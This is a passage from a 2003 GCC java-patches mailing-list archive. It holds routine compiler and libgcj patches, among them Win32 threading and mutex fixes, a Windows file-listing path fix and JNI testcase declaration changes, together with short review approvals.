=================================================================== RCS file: /cvs/gcc/gcc/gcc/java/resource.c,v retrieving revision 1.1 diff -u -r1.1 resource.c --- resource.c 22 Jan 2003 20:51:55 -0000 1.1 +++ resource.c 23 Jan 2003 02:03:27 -0000 @@ -56,10 +56,7 @@ static int Jr_count = 0; void -compile_resource_data (name, buffer, length) - char *name; - const char *buffer; - int length; +compile_resource_data (char *name, const char *buffer, int length) { tree rtype, field = NULL_TREE, data_type, rinit, data, decl; char buf[60]; @@ -102,7 +99,7 @@ } void -write_resource_constructor () +write_resource_constructor (void) { tree init_name, init_type, init_decl; tree iter; @@ -134,7 +131,7 @@ for (iter = nreverse (resources); iter != NULL_TREE; iter = TREE_CHAIN (iter)) { - char *name = IDENTIFIER_POINTER (DECL_NAME (TREE_VALUE (iter))); + const char *name = IDENTIFIER_POINTER (DECL_NAME (TREE_VALUE (iter))); emit_library_call (registerResource_libfunc, 0, VOIDmode, 1, gen_rtx (SYMBOL_REF, Pmode, name), Pmode); @@ -160,9 +157,7 @@ compiled Java resource, which is accessed by the runtime using NAME. */ void -compile_resource_file (name, filename) - char *name; - const char *filename; +compile_resource_file (char *name, const char *filename) { struct stat stat_buf; int fd; @@ -190,7 +185,7 @@ } void -init_resource_processing () +init_resource_processing (void) { registerResource_libfunc = gen_rtx_SYMBOL_REF (Pmode, "_Jv_RegisterResource"); From java-patches-return-5878-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 23 02:23:14 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14648 invoked by alias); 23 Jan 2003 02:23:14 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14636 invoked from network); 23 Jan 2003 02:23:13 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by 172.16.49.205 with SMTP; 23 Jan 2003 02:23:13 -0000 Received: from bothner.com (eureka.bothner.com [192.168.1.9]) by bothner.com (8.12.5/8.12.5) with ESMTP id h0N2Odnw008250; Wed, 22 Jan 2003 18:24:40 -0800 Message-ID: <3E2F50B1.9070300@bothner.com> Date: Wed, 22 Jan 2003 18:17:21 -0800 From: Per Bothner User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2) Gecko/20021202 X-Accept-Language: en-us, en MIME-Version: 1.0 To: tromey@redhat.com CC: Java Patch List , Gcc Patch List Subject: Re: Patch: gcj warning fix References: <873cnkk4hg.fsf@fleche.redhat.com> In-Reply-To: <873cnkk4hg.fsf@fleche.redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Tom Tromey wrote: > Ok for mainline? > > Tom > > Index: ChangeLog > from Tom Tromey > > * java-tree.h: Don't use PARAMS. > * resource.c: Add prototypes for all functions. > (write_resource_constructor): Use `const char *' to avoid > warning. OK. This probably qualifies as an "obvious fix". -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-patches-return-5879-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 23 07:39:14 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25558 invoked by alias); 23 Jan 2003 07:39:14 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25550 invoked from network); 23 Jan 2003 07:39:13 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 23 Jan 2003 07:39:13 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18bbvd-0005zt-00 for ; Thu, 23 Jan 2003 08:37:37 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18bbvc-0005zk-00 for ; Thu, 23 Jan 2003 08:37:36 +0100 From: Ranjit Mathew Subject: Patch for Review: PR/9254 and other Win32 Threading Fixes Date: Thu, 23 Jan 2003 13:10:55 +0530 Lines: 488 Message-ID: <3E2F9C87.60306@hotmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org Cc: adam@megacz.com User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en [NOTE: CC to Adam for review and possible approval. My apologies if delivered twice.] Hi, This patch proposes to clean up the Win32 threads support in libgcj a bit and contains fixes for a few problems reported on the main list. These include: * Erik's notifyAll( ) bug (PR/9254). * Incorrect return values in _Jv_CondWait, _Jv_Notify and _Jv_NotifyAll (and even _Jv_MutexUnlock). * Use of SignalObjectAndWait( ) which is not supported on Win95 and is apparently a dummy on Win98. * Minor clean up corrections for as yet unborn PRs. ;-) * Threads do not yield. * Potential bug with LeaveCriticalSection( ) on an "unowned" critical section. * Minor formatting adjustments. Most of these fixes are rather simple and are explained in more detail below. If these changes are accepted, we can attempt implementing interruptible threads on Win32. Checked and tested on a Win98SE box. The following are detailed explanations of some of the major changes in the order in which they appear in the patch: 1. I have had to change _Jv_Mutex_t to a struct containing the original critical section as well as a DWORD owner thread-id. This is because it is not possible to otherwise know the owner of a critical section and releasing an unowned critical section causes all sorts of arbitrary behaviour (ref. MSDN). 2. The _Jv_MutexInit( ) etc. functions have been changed accordingly. In particular, the _Jv_MutexUnlock( ) method guards against releasing unowned critical sections. Note that the critical section itself is being used to guard access to the thread-id field. 3. A comment in the _Jv_ThreadYield( ) method says that Sleep(0) freezes hard on Win98. I have a Win98 box and I have tried calling Sleep(0) a zillion times in various contexts without producing a crash. So I uncommented this. 4. _Jv_CondWait( ) now returns the correct values (except for interrupted status) especially if not owner of the given mutex. 5. The notifyAll( ) bug reported by Erik was due to the fact that ResetEvent( ) was being passed a *pointer to a handle* instead of the handle itself - thus the manual-reset event used for broadcast was never being reset and all subsequent calls to wait( ) immediately succeed. 6. The SignalObjectAndWait( ) function is not supported on Win95 (and is supposed to be a dummy on Win98) and causes even a "Hello World" program to not run there. This was being used (and that too, if I'm not mistaken, with incorrect order of parameters) in _Jv_ThreadWait to wait for all non-daemon threads to die. I changed the daemon_cond event to a manual-reset event and changed PulseEvent( ) to SetEvent( ) in really_start( ). Note that the stickiness of such an event and the use of it for mere signalling purposes avoids (IMHO) any race-conditions. ChangeLog: 2003-01-23 Ranjit Mathew * include/win32-threads.h (_Jv_Mutex_t): Convert to a struct containing id of the owner thread as well. (_Jv_MutexInit): Initialise owner thread id to 0. (_Jv_MutexDestroy): Reset owner thread id to 0. (_Jv_MutexUnlock): Check if really the owner thread, reset owner thread id to 0 before leaving. (_Jv_MutexLock): Set owner thread id in the mutex. (_Jv_ThreadYield): Yield using Win32 Sleep(0). * win32-threads.cc (_Jv_CondWait): Check if really owner of the passed mutex. Pass handle of broadcast event, instead of a pointer to it in Win32 ResetEvent( ) call. Remove incorrect return values. (_Jv_CondDestroy): Close both event handles and delete critical section. (_Jv_CondNotify): Check if really the owner thread. (_Jv_CondNotifyAll): Check if really the owner thread. (_Jv_InitThreads): Change daemon_cond to a manual-reset event. (really_start): Use SetEvent( ) to signal daemon_cond. (_Jv_ThreadWait): Remove SignalObjectAndWait( ) and use WaitForSingleObject( ) instead to wait for daemon_cond to be signalled. Patch ("diff -c2p" format): -------------------------------- 8< -------------------------------- *** include/win32-threads.h Tue Jan 14 20:23:56 2003 --- include/win32-threads.h Thu Jan 23 01:16:26 2003 *************** *** 2,6 **** // win32-threads.h - Defines for using Win32 threads. ! /* Copyright (C) 1998, 1999, 2000 Free Software Foundation This file is part of libgcj. --- 2,7 ---- // win32-threads.h - Defines for using Win32 threads. ! /* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software ! Foundation This file is part of libgcj. *************** details. */ *** 19,29 **** // ! typedef struct _Jv_ConditionVariable_t { HANDLE ev[2]; ! CRITICAL_SECTION count_mutex; int blocked_count; - }; ! typedef CRITICAL_SECTION _Jv_Mutex_t; typedef struct --- 20,46 ---- // ! typedef struct ! { ! // ev[0] (signal) is a Win32 auto-reset event for _Jv_CondNotify ! // ev[1] (broadcast) is a Win32 manual-reset event for _Jv_CondNotifyAll HANDLE ev[2]; ! ! // Number of threads waiting on this condition variable int blocked_count; ! // Protects access to the blocked_count variable ! CRITICAL_SECTION count_mutex; ! ! } _Jv_ConditionVariable_t; ! ! typedef struct ! { ! // The thread-id of the owner thread if any, 0 otherwise ! DWORD owner; ! ! // The actual Windows construct used to implement this mutex ! CRITICAL_SECTION cs; ! ! } _Jv_Mutex_t; typedef struct *************** int _Jv_CondNotifyAll (_Jv_ConditionVari *** 61,65 **** inline void _Jv_MutexInit (_Jv_Mutex_t *mu) { ! InitializeCriticalSection(mu); } --- 78,83 ---- inline void _Jv_MutexInit (_Jv_Mutex_t *mu) { ! mu->owner = 0UL; ! InitializeCriticalSection (&(mu->cs)); } *************** inline void _Jv_MutexInit (_Jv_Mutex_t * *** 67,71 **** inline void _Jv_MutexDestroy (_Jv_Mutex_t *mu) { ! DeleteCriticalSection(mu); mu = NULL; } --- 85,90 ---- inline void _Jv_MutexDestroy (_Jv_Mutex_t *mu) { ! mu->owner = 0UL; ! DeleteCriticalSection (&(mu->cs)); mu = NULL; } *************** inline void _Jv_MutexDestroy (_Jv_Mutex_ *** 73,83 **** inline int _Jv_MutexUnlock (_Jv_Mutex_t *mu) { ! LeaveCriticalSection(mu); ! return 0; } inline int _Jv_MutexLock (_Jv_Mutex_t *mu) { ! EnterCriticalSection(mu); return 0; } --- 92,109 ---- inline int _Jv_MutexUnlock (_Jv_Mutex_t *mu) { ! if (mu->owner == GetCurrentThreadId ( )) ! { ! mu->owner = 0UL; ! LeaveCriticalSection (&(mu->cs)); ! return 0; ! } ! else ! return 1; } inline int _Jv_MutexLock (_Jv_Mutex_t *mu) { ! EnterCriticalSection (&(mu->cs)); ! mu->owner = GetCurrentThreadId ( ); return 0; } *************** inline _Jv_Thread_t *_Jv_ThreadCurrentDa *** 105,111 **** inline void _Jv_ThreadYield (void) { ! // FIXME: win98 freezes hard (OS hang) when we use this -- ! // for now, we simply don't yield ! // Sleep (0); } --- 131,135 ---- inline void _Jv_ThreadYield (void) { ! Sleep (0); } *** win32-threads.cc Tue Jan 14 20:23:53 2003 --- win32-threads.cc Thu Jan 23 11:45:29 2003 *************** *** 1,5 **** // win32-threads.cc - interface between libjava and Win32 threads. ! /* Copyright (C) 1998, 1999 Free Software Foundation, Inc. This file is part of libgcj. --- 1,6 ---- // win32-threads.cc - interface between libjava and Win32 threads. ! /* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software ! Foundation, Inc. This file is part of libgcj. *************** inline void *** 71,80 **** ensure_condvar_initialized(_Jv_ConditionVariable_t *cv) { ! if (cv->ev[0] == 0) { ! cv->ev[0] = CreateEvent (NULL, 0, 0, NULL); ! if (cv->ev[0] == 0) JvFail("CreateEvent() failed"); ! cv->ev[1] = CreateEvent (NULL, 1, 0, NULL); ! if (cv->ev[1] == 0) JvFail("CreateEvent() failed"); ! } } --- 72,83 ---- ensure_condvar_initialized(_Jv_ConditionVariable_t *cv) { ! if (cv->ev[0] == 0) ! { ! cv->ev[0] = CreateEvent (NULL, 0, 0, NULL); ! if (cv->ev[0] == 0) JvFail("CreateEvent() failed"); ! ! cv->ev[1] = CreateEvent (NULL, 1, 0, NULL); ! if (cv->ev[1] == 0) JvFail("CreateEvent() failed"); ! } } *************** int *** 86,94 **** _Jv_CondWait(_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu, jlong millis, jint nanos) { ! EnterCriticalSection(&cv->count_mutex); ! ensure_condvar_initialized(cv); cv->blocked_count++; ! LeaveCriticalSection(&cv->count_mutex); DWORD time; --- 89,99 ---- _Jv_CondWait(_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu, jlong millis, jint nanos) { + if (mu->owner != GetCurrentThreadId ( )) + return _JV_NOT_OWNER; ! EnterCriticalSection (&cv->count_mutex); ! ensure_condvar_initialized (cv); cv->blocked_count++; ! LeaveCriticalSection (&cv->count_mutex); DWORD time; *************** _Jv_CondWait(_Jv_ConditionVariable_t *cv *** 103,118 **** EnterCriticalSection(&cv->count_mutex); cv->blocked_count--; ! // If we were unblocked by the second event (the broadcast one) and nobody is ! // left, then reset the signal. ! int last_waiter = rval == WAIT_OBJECT_0 + 1 && cv->blocked_count == 0; LeaveCriticalSection(&cv->count_mutex); ! if (last_waiter) ResetEvent(&cv->ev[1]); _Jv_MutexLock (mu); ! if (rval == WAIT_FAILED) return GetLastError(); ! else if (rval == WAIT_TIMEOUT) return ETIMEDOUT; ! else return 0; } --- 108,122 ---- EnterCriticalSection(&cv->count_mutex); cv->blocked_count--; ! // If we were unblocked by the second event (the broadcast one) ! // and nobody is left, then reset the event. ! int last_waiter = (rval == (WAIT_OBJECT_0 + 1)) && (cv->blocked_count == 0); LeaveCriticalSection(&cv->count_mutex); ! if (last_waiter) ! ResetEvent (cv->ev[1]); _Jv_MutexLock (mu); ! return 0; } *************** _Jv_CondInit (_Jv_ConditionVariable_t *c *** 122,126 **** // we do lazy creation of Events since CreateEvent() is insanely expensive cv->ev[0] = 0; ! InitializeCriticalSection(&cv->count_mutex); cv->blocked_count = 0; } --- 126,130 ---- // we do lazy creation of Events since CreateEvent() is insanely expensive cv->ev[0] = 0; ! InitializeCriticalSection (&cv->count_mutex); cv->blocked_count = 0; } *************** void *** 129,158 **** _Jv_CondDestroy (_Jv_ConditionVariable_t *cv) { ! if (cv->ev[0] != 0) CloseHandle(cv->ev[0]); cv = NULL; } int ! _Jv_CondNotify (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *) { ! EnterCriticalSection(&cv->count_mutex); ! ensure_condvar_initialized(cv); int somebody_is_blocked = cv->blocked_count > 0; ! LeaveCriticalSection(&cv->count_mutex); ! if (somebody_is_blocked) return SetEvent (cv->ev[0]) ? 0 : GetLastError(); ! else return 0; } int ! _Jv_CondNotifyAll (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *) { ! EnterCriticalSection(&cv->count_mutex); ! ensure_condvar_initialized(cv); int somebody_is_blocked = cv->blocked_count > 0; ! LeaveCriticalSection(&cv->count_mutex); ! if (somebody_is_blocked) return SetEvent (cv->ev[1]) ? 0 : GetLastError(); ! else return 0; } --- 133,181 ---- _Jv_CondDestroy (_Jv_ConditionVariable_t *cv) { ! if (cv->ev[0] != 0) ! { ! CloseHandle (cv->ev[0]); ! CloseHandle (cv->ev[1]); ! ! cv->ev[0] = 0; ! } ! ! DeleteCriticalSection (&cv->count_mutex); ! cv = NULL; } int ! _Jv_CondNotify (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu) { ! if (mu->owner != GetCurrentThreadId ( )) ! return _JV_NOT_OWNER; ! ! EnterCriticalSection (&cv->count_mutex); ! ensure_condvar_initialized (cv); int somebody_is_blocked = cv->blocked_count > 0; ! LeaveCriticalSection (&cv->count_mutex); ! ! if (somebody_is_blocked) ! SetEvent (cv->ev[0]); ! return 0; } int ! _Jv_CondNotifyAll (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu) { ! if (mu->owner != GetCurrentThreadId ( )) ! return _JV_NOT_OWNER; ! ! EnterCriticalSection (&cv->count_mutex); ! ensure_condvar_initialized (cv); int somebody_is_blocked = cv->blocked_count > 0; ! LeaveCriticalSection (&cv->count_mutex); ! if (somebody_is_blocked) ! SetEvent (cv->ev[1]); ! ! return 0; } *************** _Jv_InitThreads (void) *** 166,171 **** _Jv_ThreadKey = TlsAlloc(); _Jv_ThreadDataKey = TlsAlloc(); ! daemon_mutex = CreateMutex(NULL, 0, NULL); ! daemon_cond = CreateEvent(NULL, 0, 0, NULL); non_daemon_count = 0; } --- 189,194 ---- _Jv_ThreadKey = TlsAlloc(); _Jv_ThreadDataKey = TlsAlloc(); ! daemon_mutex = CreateMutex (NULL, 0, NULL); ! daemon_cond = CreateEvent (NULL, 1, 0, NULL); non_daemon_count = 0; } *************** really_start (void* x) *** 256,260 **** non_daemon_count--; if (! non_daemon_count) ! PulseEvent (daemon_cond); ReleaseMutex (daemon_mutex); } --- 279,283 ---- non_daemon_count--; if (! non_daemon_count) ! SetEvent (daemon_cond); ReleaseMutex (daemon_mutex); } *************** void *** 298,305 **** _Jv_ThreadWait (void) { ! WaitForSingleObject(daemon_mutex, INFINITE); ! if(non_daemon_count) ! SignalObjectAndWait(daemon_mutex, daemon_cond, INFINITE, 0); ! ReleaseMutex(daemon_mutex); } --- 321,330 ---- _Jv_ThreadWait (void) { ! WaitForSingleObject (daemon_mutex, INFINITE); ! if (non_daemon_count) ! { ! ReleaseMutex (daemon_mutex); ! WaitForSingleObject (daemon_cond, INFINITE); ! } } -------------------------------- 8< -------------------------------- Sincerely Yours, Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5880-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 23 17:21:46 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21167 invoked by alias); 23 Jan 2003 17:21:46 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21091 invoked from network); 23 Jan 2003 17:21:45 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 23 Jan 2003 17:21:45 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-20.rdu.redhat.com [172.16.50.20]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 1BABEABAF8; Thu, 23 Jan 2003 17:21:41 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0NHM9i03289; Thu, 23 Jan 2003 17:22:09 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15920.9409.378342.730476@cuddles.cambridge.redhat.com> Date: Thu, 23 Jan 2003 17:22:09 +0000 (GMT) To: tromey@redhat.com Cc: Gcc Patch List , Java Patch List Subject: Patch: gcj/ggc fix In-Reply-To: <87r8b7uixl.fsf@fleche.redhat.com> References: <87r8b7uixl.fsf@fleche.redhat.com> Tom Tromey writes: > > 2003-01-20 Tom Tromey > > * constants.c (set_constant_entry): Allocated cleared memory. OK for trunk. Andrew. From java-patches-return-5881-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 23 17:38:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25646 invoked by alias); 23 Jan 2003 17:38:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25633 invoked from network); 23 Jan 2003 17:38:58 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 23 Jan 2003 17:38:58 -0000 Received: from fleche.redhat.com (tq0172.peakpeak.com [207.174.177.172]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA08377; Thu, 23 Jan 2003 10:38:56 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A999B4F8073; Thu, 23 Jan 2003 10:35:07 -0700 (MST) To: Gcc Patch List Cc: Java Patch List Subject: Re: Patch: gcj/ggc fix References: <87r8b7uixl.fsf@fleche.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I am having a pleasant time!! Date: 23 Jan 2003 10:35:07 -0700 In-Reply-To: <87r8b7uixl.fsf@fleche.redhat.com> Message-ID: <871y33ixbo.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Tom" == Tom Tromey writes: Tom> This patch fixes a GC failure in gcj. Andrew approved this privately. I'm checking it in on the trunk. Tom From java-patches-return-5882-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 23 17:50:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29451 invoked by alias); 23 Jan 2003 17:50:56 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29441 invoked from network); 23 Jan 2003 17:50:55 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 23 Jan 2003 17:50:55 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18blSw-0002zy-00 for ; Thu, 23 Jan 2003 18:48:38 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18blSu-0002zf-00 for ; Thu, 23 Jan 2003 18:48:36 +0100 From: Ranjit Mathew Subject: [Patch] Fix for PR/9253: File.listFiles( ) Error on Win32 Date: Thu, 23 Jan 2003 23:22:00 +0530 Lines: 57 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en Hi, This patch fixes PR/9253 as reported by Erik on the main list. In summary, the problem was that File.listFiles( ) was not working on Win32 if it was created as (say) 'new File("c:")' - drive letters seemed to be confusing the implementation. The real problem turns out to be the fact that the performList( ) function in "java/io/natFileWin32.cc" gets the canonical path to the file path and merely adds "\*.*" to it to create a filter to search for files using the Win32 FindFirstFile( ) function. However, "c:" maps to "c:\" in the canonical path and the extra "\" appended causes FindFirstFile( ) to fail. (Try it out for yourself by typing "dir c:\\*.*" on a Command Prompt in Windows.) Note that names like "c:\temp" and "c:\temp\" map to "c:\temp", but "c:\" as well as "c:" map to "c:\". The following patch guards against the case where the canonical path already has a "\" at the end. After this change, listFiles( ) seems to work correctly for a range of inputs I could test with, which were failing earlier. ChangeLog: 2003-01-23 Ranjit Mathew * java/io/natFileWin32.cc (performList): Append only "*.*" if the canonical file path already has a "\" at the end. Patch: -------------------------------- 8< -------------------------------- --- java/io/natFileWin32.cc 2003-01-23 17:50:26.000000000 +0530 +++ java/io/natFileWin32.cc 2003-01-23 17:52:33.000000000 +0530 @@ -147,5 +147,8 @@ jsize total = JvGetStringUTFRegion (canon, 0, canon->length(), buf); // FIXME? - strcpy(&buf[total], "\\*.*"); + if (buf[total-1] == '\\') + strcpy (&buf[total], "*.*"); + else + strcpy (&buf[total], "\\*.*"); WIN32_FIND_DATA data; -------------------------------- 8< -------------------------------- Sincerely Yours, Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5883-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 23 19:11:23 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9256 invoked by alias); 23 Jan 2003 19:11:23 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9249 invoked from network); 23 Jan 2003 19:11:22 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 23 Jan 2003 19:11:22 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18bmjR-0000WT-00 for ; Thu, 23 Jan 2003 20:09:45 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18bmjO-0000WG-00 for ; Thu, 23 Jan 2003 20:09:42 +0100 From: Ranjit Mathew Subject: Patch: Add JNIEXPORT and JNICALL to native methods in JNI testcases Date: Fri, 24 Jan 2003 00:43:09 +0530 Lines: 157 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en Hi, The native methods in the JNI test cases in "libjava/testsuite/libjava.jni" are not defined with JNIEXPORT and JNICALL attributes as required by JNI. This causes them to fail to even *build* on Win32 as the gcjh generated header declares these methods with JNIEXPORT and JNICALL. The following patch proposes to fix this. I apologise for not noticing this earlier. ChangeLog: * libjava.jni/calls.c (Java_calls_docall): Define with JNIEXPORT and JNICALL method attributes. * libjava.jni/field.c (Java_field_fetch): Likewise. * libjava.jni/final_method.c (Java_final_1method_meth): Likewise. * libjava.jni/findclass.c (Java_findclass_doit): Likewise. * libjava.jni/invoke.c (Java_invoke_val): Likewise. * libjava.jni/martin.c (Java_martin_myNative): Likewise. * libjava.jni/noclass.c (Java_noclass_find_1it): Likewise. * libjava.jni/overload.c (Java_overload_over__I): Likewise. (Java_overload_over__II): Likewise. * libjava.jni/register.c (JNI_OnLoad): Likewise. * libjava.jni/simple_int.c (Java_simple_1int_nat): Likewise. * libjava.jni/throwit.c (Java_throwit_throwit): Likewise. * libjava.jni/virtual.c (Java_virtual_equals): Likewise. Patch: ------------------------------- 8< ------------------------------- --- libjava.jni/calls.c Thu Jan 23 23:59:48 2003 +++ libjava.jni/calls.c Fri Jan 24 00:00:08 2003 @@ -2,5 +2,5 @@ #include -jint +JNIEXPORT jint JNICALL Java_calls_docall (JNIEnv *env, jobject _this) { --- libjava.jni/field.c Thu Jan 23 23:59:48 2003 +++ libjava.jni/field.c Fri Jan 24 00:00:20 2003 @@ -2,5 +2,5 @@ #include -jobjectArray +JNIEXPORT jobjectArray JNICALL Java_field_fetch (JNIEnv *env, jobject this) { --- libjava.jni/final_method.c Thu Jan 23 23:59:48 2003 +++ libjava.jni/final_method.c Fri Jan 24 00:00:30 2003 @@ -1,5 +1,5 @@ #include -jstring +JNIEXPORT jstring JNICALL Java_final_1method_meth (JNIEnv *env, jobject thisv) { --- libjava.jni/findclass.c Thu Jan 23 23:59:48 2003 +++ libjava.jni/findclass.c Fri Jan 24 00:00:40 2003 @@ -3,5 +3,5 @@ #include -jclass +JNIEXPORT jclass JNICALL Java_findclass_doit (JNIEnv *env, jclass klass, jstring name) { --- libjava.jni/invoke.c Thu Jan 23 23:59:48 2003 +++ libjava.jni/invoke.c Fri Jan 24 00:00:58 2003 @@ -1,5 +1,5 @@ #include -jint +JNIEXPORT jint JNICALL Java_invoke_val (JNIEnv *env, jclass klass) { --- libjava.jni/martin.c Thu Jan 23 23:59:48 2003 +++ libjava.jni/martin.c Fri Jan 24 00:01:26 2003 @@ -3,5 +3,6 @@ #include -void Java_martin_myNative(JNIEnv* env, jobject this, jstring s) +JNIEXPORT void JNICALL +Java_martin_myNative(JNIEnv* env, jobject this, jstring s) { jclass cls; --- libjava.jni/noclass.c Thu Jan 23 23:59:48 2003 +++ libjava.jni/noclass.c Fri Jan 24 00:01:36 2003 @@ -1,5 +1,5 @@ #include -void +JNIEXPORT void JNICALL Java_noclass_find_1it (JNIEnv *env, jclass k) { --- libjava.jni/overload.c Thu Jan 23 23:59:48 2003 +++ libjava.jni/overload.c Fri Jan 24 00:01:54 2003 @@ -1,5 +1,5 @@ #include -jint +JNIEXPORT jint JNICALL Java_overload_over__I (JNIEnv *env, jclass klass, jint val) { @@ -8,5 +8,5 @@ -jint +JNIEXPORT jint JNICALL Java_overload_over__II (JNIEnv *env, jclass klass, jint one, jint two) { --- libjava.jni/register.c Thu Jan 23 23:59:48 2003 +++ libjava.jni/register.c Fri Jan 24 00:03:38 2003 @@ -9,5 +9,5 @@ } -jint +JNIEXPORT jint JNICALL JNI_OnLoad (JavaVM *vm, void *nothing) { --- libjava.jni/simple_int.c Thu Jan 23 23:59:48 2003 +++ libjava.jni/simple_int.c Fri Jan 24 00:03:48 2003 @@ -1,5 +1,5 @@ #include -jint +JNIEXPORT jint JNICALL Java_simple_1int_nat (JNIEnv *env, jclass klass, jint val) { --- libjava.jni/throwit.c Thu Jan 23 23:59:48 2003 +++ libjava.jni/throwit.c Fri Jan 24 00:04:02 2003 @@ -2,5 +2,5 @@ #include -void +JNIEXPORT void JNICALL Java_throwit_throwit (JNIEnv *env, jclass klass, jstring name, jboolean is_new) --- libjava.jni/virtual.c Thu Jan 23 23:59:48 2003 +++ libjava.jni/virtual.c Fri Jan 24 00:04:14 2003 @@ -1,5 +1,5 @@ #include -jboolean +JNIEXPORT jboolean JNICALL Java_virtual_equals (JNIEnv *env, jobject thisv, jobject other) { ------------------------------- 8< ------------------------------- Sincerely Yours, Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5884-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 23 19:21:00 2003 Return-Path: Delivered-To: 